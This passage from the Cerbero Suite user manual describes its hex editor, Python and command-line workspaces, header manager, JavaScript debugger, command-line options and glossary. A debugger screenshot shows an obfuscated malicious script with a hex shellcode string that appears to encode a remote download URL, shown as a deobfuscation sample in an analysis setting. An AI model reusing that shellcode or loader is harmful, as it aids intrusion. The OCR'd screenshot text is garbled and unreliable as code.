The interface of the hex editor is identical to the hex view, with the key difference being
that you are permitted to save your changes directly in place.

The hex editor can open files, disks, drives, and processes, provided the system permis-
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sions allow it.

File | Edit Copy Select Layouts Actions Views Tools Help

Mew File... Ctrl+N - V4
ww Open File... Ctrl+0
Open Folder... % A B C D E F BSCII
Qpen Drive... 00 00 00 FF FF 00 00 | ME......eoneuunnn
. 00 00 00 00 00 00 00 | ........ @.......
GriE = 00 00 00 00 00 00 00 | euveunnennnnnn.
Open Process... 00 00 00 FB 00 00 00 | ... i nnnnnn
PeteniEiles » BB 01 4C CD 21 54 68 | .u.uvn.. !..L.!Th
6D 20 63 61 6E 6E 6F | is.program.canno
H save Ctrl+5 69 65 20 44 4F 53 20  t.be.run.in.DOS.
Eri Ao 00 00 00 00 00 00 00 mode....S5.......

36 0C FO Bl 36 OC FO | .Wh..6...6...6.

Close 67 D3 FO BO 36 0C FO | .g...6...g...6.
67 ED FO B3 36 0C FO  .g...6...g...6.

Close All 36 0D FO 95 36 0C FO 1q g ..g...s.
- 64 D7 FO BO 36 0C FO | .d...6...d...6.

) 69 63 68 Bl 36 0C FO .d...6..Rich.6..
Print All 00 00 00 00 00 00 00 | «ounnunennennnn
Print Range... 45 00 00 €4 86 06 00 | ........ PE..d...
00 00 00 FO 00 22 00 | .£.MNeuueuuun...

& New Cerbero Suite Instance Ctrl+Alt+=N |14 00 00 00 00 00 00 | -ceenieenannnn..
00 00 40 01 00 00 00 | ...owownn... @....

Exit Ctrl+Q 00 00 00 00 00 00 00 | oonvrurnnrennnnnn
00000140 | 06 00 00 00 G0 00 00 00 00 70 00 00 00 04 00 00 | ......... Peenn.

Since the introduction of System Integrity Protection (SIP) on macOS, numerous system-
wide restrictions have been implemented, including a prohibition on accessing the memory
of other processes. However, this functionality is still accessible on older macOS systems
that do not have SIP, or on newer systems where SIP has been disabled and Cerbero
Suite is run with sudo privileges.
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5.2 FILE INFORMATION WORKSPACE

The file information workspace allows you to quickly inspect details about files on disk

and provides a quick launch feature to easily open other tools within Cerbero Suite.

File Info - Cerbero Suite

“oEN

File Actions Views Help

- H =
o [notepad.exe] a8
‘4 [l ‘ Name Value
"Ox Hex ‘ Name nute.pad.exe
E * | Path C:\Windows\notepad.exe
O Text J| size 216 KBs (221184 bytes)
‘4 Hashes ‘ File Type exe File
‘:J’M&T“ Detected Format PE
————— | Created Thu Mar 5 12:48:28 2020
O vARA || Modified Thu Jul 9 18:13:49 2015
Accessed Thu Mar 5 12:48:28 2020
Attributes
Owner TrustedInstaller
Permissions TrustedInstaller - Permissions: Read Write Execute Delete
Administrators - Permissions: Read Execute
SYSTEM - Permissions: Read Execute
Users - Permissions: Read Execute
ALL APPLICATION PACKAGES - Permissions: Read Execute
MD5 Double click here to calculate the hash
SHA-1 Double click here to calculate the hash
SHA-256 Double click here to calculate the hash
Analyze Hex Editor
Enter Python code here [focus with Ctrl+Alt+.]

5.3 PYTHON EDITOR WORKSPACE

The Python editor workspace provides a comprehensive environment for editing and
running Python scripts, eliminating the need to open a workspace dedicated to a different

© 2025 Cerbero Labs

107



purpose.

File Actions Views Help

ALY Ji=li=l-ll=lel"

" > H - (Comp\saipt.py | #

1 from Pro.SiliconSpreadsheet import *
2 from Pro.UI import procontext

3

4 cl-::- EmulatorHelper(SiliconExcelEmulatorHelper) :
5

6 def _ dinit  (self):

7 Super (EmulatorHelper, self)._ init_ ()

8

9 def evaluateFunction (self, emu, ctx, opts, depth, &):
10 function name = e.toString()

11 print (function_name)

12 ceturn SiliconExcelEmulatorvalue ()

13

14 v = proContext().getCurrentRnalysisview()

15 if v.isvalid():

16 view = SiliconSpreadsheetWorkspaceView (v)
17 helper = EmulatorHelper ()

18 emu = view.getExcelEmulator ()

Bk sctHelper .

setMaxCallStackDepth

setVerbose
setWait
setWorkspace

I nter Python code here [focus with Ctrl+Alt+.] I

54 COMMAND-LINE WORKSPACE

The command line workspace is the most basic among all workspaces, consisting only
of a command-line interpreter and an output window. This workspace is designed for
evaluating simple Python expressions or for converting text to data using actions.

File Actions Views Help

RhEDEECQ &
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BUILT-IN TOOLS

Similar to the previous chapter, this chapter is also brief, as most of the tools are available
through optional packages on Cerbero Store.

6.1 HEADER MANAGER

The header manager is a tool designed to create and edit Cerbero Suite headers.

# Header Manager - o
Expore | Import |
S Header: |WnNT -
Structures Symbols Alases TypeDefs
# Name Type “
1 _IMAGE_DOS_HEADER struct
2 _IMAGE_0S2_HEADER struct
3 _IMAGE_VXD_HEADER struct
4 _IMAGE_FILE_HEADER struct
5 _IMAGE_DATA_DIRECTORY struct
6 _IMAGE_OPTIONAL_HEADER struct
7 _IMAGE_ROM_OPTIONAL_HEADER struct
8 _IMAGE_OPTIONAL_HEADERG4 struct
9 _IMAGE_NT_HEADERS64 struct
10 _IMAGE_NT_HEADERS struct
11 _IMAGE_ROM_HEADERS struct
12 ANON_OBJECT_HEADER struct
13 ANON_OBJECT_HEADER V2 struct
14 ANON_OBJECT_HEADER_BIGOB] struct
15 _IMAGE_SECTION_HEADER::_union_0 union
16 _IMAGE_SECTION_HEADER struct
17 _IMAGE_SYMBOL::_union_0::_struct_0 struct
18 _IMAGE_SYMBOL::_union_0 union v
Output & % |Issues & x

The header manager features a comprehensive C++-11 parser that enables the conversion
of structures from C/C++ code into XML structures. It allows you to specify various
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parser settings to accurately parse the input code.

= Import

C++/Clang (3.5)

Property

Architecture

Vendor

0Os

Language

[] Test mode

Standard

Header paths
Anonymous prefix _

1 // Everything following the special HEADER START macro will be included in a header.
2 // 1f Header Manager was opened from within a project, the '§' file name is allowed
3 // as argument and the imported data will end up in the global header of the current
4 // project. Alternatively, the '@' file name represents the header of the current
5 // object. The '$' file name is reserved for contextual headers like for a Carbon
6 // disassembly. If a file name is specified, then the header will be created
7 // inside 'Ci\Users\User\AppData\Roaming\Cerbero\headers\'.
8 //
9 // A header ends where another HEADER START macro starts. If test mode is enmabled,
10 // mo header will be created or modified.
11 HEADER_START("$"):
12
13
Output. 8 X | Issues & x

Structures can be imported directly into a header or printed ou

t as XML by selecting the

"Test mode’ checkbox and selecting ’Schemas’ as output mode.

You can find more information about headers and structures on the dedicated SDK page.

6.2 JAVASCRIPT DEBUGGER

The JavaScript debugger is designed to debug simple JavaScript scripts effectively.

Debug Search View
> m M P T ol B @ Exeate evals
. 5 — 15%9 crcr TRy T e
|Loaded Sapts & X S16%%% 39%9%9%24%9%%2%%% £ED
%0 %%%-1 13%9% Name Value ~
%o-14%%% 17%%%-22%%%-23% % %-2%% % 18% % %-23% %% 3% %% 15%%%-11%%
9%-3%9%%-5%%%3% %% 3% %A% %% 24%%%-5% %% 37 % %% 13%% %6 1%% %2% % ar 24:23,22,21,20,:23,19,19,18,-17,-16,15,-24,-23, 22,
%-15"; function ( {
2 ar=que123b.5pk(%%%); 7 atob (2 more fines ..)
4 function test3() » btog function 0¢
5 (... 2 more lines ...
6 if(s)v=afz]*1; function decodeURI
7 s=s+cdv+ 24 > dec.. ton de 01
Breakponts 8 x 8} (... 2 more lines ...)
v 9cc={ N function decodeURIComponent() {
D 8 n o "var pding;b, cefhots_x=wAy()I1'420657839u{.VS'<-+1)*/DkR%-W[JmCj~?:LBKQYEUGFM" dec.. (2 more lines ..)
2 ql:': ‘ghejdvabl; » enc.._ function encodeURI) {
D Locaton 13 0= aql2] + aalS] + aal6l; " (... 2 more lines ..) v
14 + qq[8];
Stack 5 x
Level Name Location
0 <anonym.. <native>:9
< > v
Console & x
1%%%-1: 1%%%-17%%
|7%%%-1
2 ar=qwe123b.5pit(%9%%); ’
9 c={
v
asdb>
Error Log | Debug Output | Console |
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The JavaScript debugger is particularly useful for deobfuscating scripts that use the
‘eval’ function to execute concealed code. The debugger allows you to control how ’eval’
invocations are handled: if the combo box is set to ’Ask’, the debugger will prompt you
with a dialog showing the expression to be evaluated, giving you the option to proceed
or not.

You can change the code executed by the eval cal. Press Cancel to return undefined.

1 var padding;var bbb, ccc, ddd, eee, fff, ggg, hhh;var A
pointers a, i;ver x = new Array();ver y = new
Brray();var
_11="4c20600£0517804a3c20600£0£63804aa3eb804a3020824a
€e2fB8042414141412600000000000000000000000000000012398
0426420600£0004000041414141414141416683e4fcfc85247534
e95£33c0648b40308b400c8b701c568b760833db668b5e3c03743
32cB81leel510f£ffbBBD4030c346390675fbB7342485e47551e%eb
4c51568b753c8b74357803£55680762003£533c94941fcad03c53
3db0£fbel038£27408clcb0d03da40ebf13blf75265eB8b5e2403dd
666b0c4b8d46ecff54240c8bdB803ddBb048b03c5ab5e59¢c3eb53a
dB8b6E6206807d0c33740396ebf38b68088bE76a0559e898ffffffe2
£%e80000000058506a4068££0000005083¢c01950558becBb5e108
3c305££fe3686£6e00006875726c6d54£f1683c4088beBeB6lEEfE
ffeb02eb7281ec040100008d5c240ccT042472656773c74424047
6723332c7442408202d73205368£8000000££560¢c8be833c951cT
441d0077706274c7441d0522646c6cc6441d0900598ac10430884
41d0441516a006a0053576a00££561485c075166a0053££56046a
0083eb0c53££560483c30ceb02eb1347803£0075£a47803£0075¢
46a006afeff5608e89cfeffffBedeleectifeBaledd6£01bd33ca
8a5blbcé4679361a2£70687474703a2£2£3132392e31323122323
3312e31368382£646174612f486£6d4652f772e7068703£663d3136
26653d340000' ;var
_12="4c20600fa563804a3c20600£9621804a901£804a3050844a
7d7e6804a414141412600000000000000000000000000000071888

Execute ‘ | Cancel
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COMMAND LINE

To view available command-line arguments, you can start the 'cerpro’ executable by
specifying either the -h or -help parameter.

Command Line - Cerbero Suite = =
File Actions Views Help
i HE OO0 4
= Output o
bupported command line arguments: ~

-s : Scan a file or folder

-r : Run a Python script. Must be the last parameter. Syntax: -r script.pyl:func name] parameters

-e : Execute a Python string directly passed as argument

—-C : Run in console mode

-g : Run in UI mode without creating a main windew. To be used in combination with command line scripting
—cerbero-journal : Bccess Cerbero Journal

-cmdline : Command Line

—-download-crx : Download a Chrome extension by its public URL

—download-sample : Download a malware sample matching the specified hash from the supported intelligence providers

—download-samples : Download multiple malware samples matching the specified hashes from the supported intelligence
providers

-fi : File Info
Show information about the specified file/s

-fip : File Info With Parameters
vntax: —fin ——tab Text -——file file name

Enter Python code here [focus with Ctrl+alt+.]

To run Cerbero Suite in console mode without displaying a graphical interface, you must
specify the -c parameter. On Windows, use the cerpro_console.exe executable, as Win-
dows does not display standard output for graphical applications.

For a comprehensive guide on command-line scripting in Cerbero Suite, please consult
our dedicated SDK page.
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GLOSSARY

Action
Basic and straightforward extension, characterized by its versatility and utility.
Actions are context-sensitive and become available based on the current view and
the format of the selected object. They permit a wide array of operations, from
basic tasks such as converting data and text, to more complex functions like finding
strings in binary data and calculating entropy. Actions also enable the launching
of specialized tools, including deobfuscators, unpackers, emulators, and debuggers.
Actions should not be confused with menu actions.

Analysis Workspace
The most complex workspace in Cerbero Suite, specifically designed for file analysis.

Analysis View
A container within the analysis workspace that displays data for the hierarchy,
summary, and format views. The analysis view can present tabs to display different
views of the same item. Furthermore, only views contained within the analysis view
can create child objects. Additionally, bookmarks can jump back to views contained
within the analysis view.

Bookmark
A feature for marking specific points or data during file analysis for easy navigation
and reference.

Carbon
A high-speed disassembly technology included in Cerbero Suite for handling a wide
range of disassembly tasks.

Carbon Disassembly View
A view that displays disassembled code and provides tools manipulating it.

Child Object
An object that is a descendant of the root object or any of its child objects. Child
objects are automatically detected during the scanning process and can also be
manually added within the context of the analysis view.

Extension
Additional functionality that can be added to Cerbero Suite, either manually or
through the installation of packages. Types of extensions in Cerbero Suite include
logic providers, scan providers, hooks, key providers, among others.

File System View
A view that displays files and folders in a manner similar to a traditional file man-
ager. File system views can be used to create both root and child objects.
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File Information View
A view that displays detailed information about a file, including its properties,
cryptographic hashes, and content in both hex and text formats.

Filter
An extremely powerful tool designed to transform input data into a desired out-
put. Filters are organized into categories and are capable of performing a wide
range of data transformations, including arithmetic and logical operations, replace-
ments, conversions, hashing, compression, decompression, encryption, and decryp-
tion, among other functionalities.

Format View
A view that displays the format of the current object being analyzed.

Header
A container for structures, stored either as SQLite3 databases or as XML strings.
Header files can be created and edited using the Header Manager tool.

Header Manager
A tool used to create header files by importing structures from C/C++ code and
to edit existing header files.

Hex View
A view that displays data in hexadecimal format. Hex views can be used to create
both root and child objects.

Hierarchy View
A view that displays the current root object being analyzed along with all its child
objects.

Hook
A type of extension that can provide additional functionality to logic and scan
providers, such as offering extra findings during the scanning process.

Key Provider
An extension type that provides keys for decrypting encrypted files.

Logic Provider

An extension that provides custom scan logic or additional workspaces and tools.
Lua

A simple programming language used for creating custom filters.

Main Window
The primary interface of Cerbero Suite from which all major functions are accessed.
Media View
A view used to display media, such as images.
Menu Action
An operation initiated from either a main or context menu, not to be confused with
the ’action’ extension type.

Note
A feature for adding annotations or comments within a project to document findings
or important information.

Output View
A view that displays the output from various sources, including scripts and actions.
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Package
An installable archive for Cerbero Suite that contains additional features and func-
tionality.

Project
A container for the analysis report and associated files.

Report
A database that contains the analysis data.
Root Object
The top-level object in the context of an analysis. Root objects are typically scanned
files on the disk.
Roots View
A view that displays root objects within the current report.

Scan Provider

An extension type that provides support for analyzing a specific file format.
Structure

An XML schema used to define an aggregate data type. Structures are contained in

headers and can be generated from C/C++ code using the Header Manager tool.
Summary View

A view that displays the scan entries for the current object being analyzed.

Text View
An editable text view that supports syntax highlighting.

Text Browser View
A read-only text view capable of handling large quantities of text and supporting
features like text encoding and syntax highlighting.

Workspace
The fundamental interface in Cerbero Suite, each workspace is specialized for the
task it was designed to perform, such as file analysis, hex editing, Python develop-
ment, etc. Workspaces may share common features such as menus, toolbars, and
actions.
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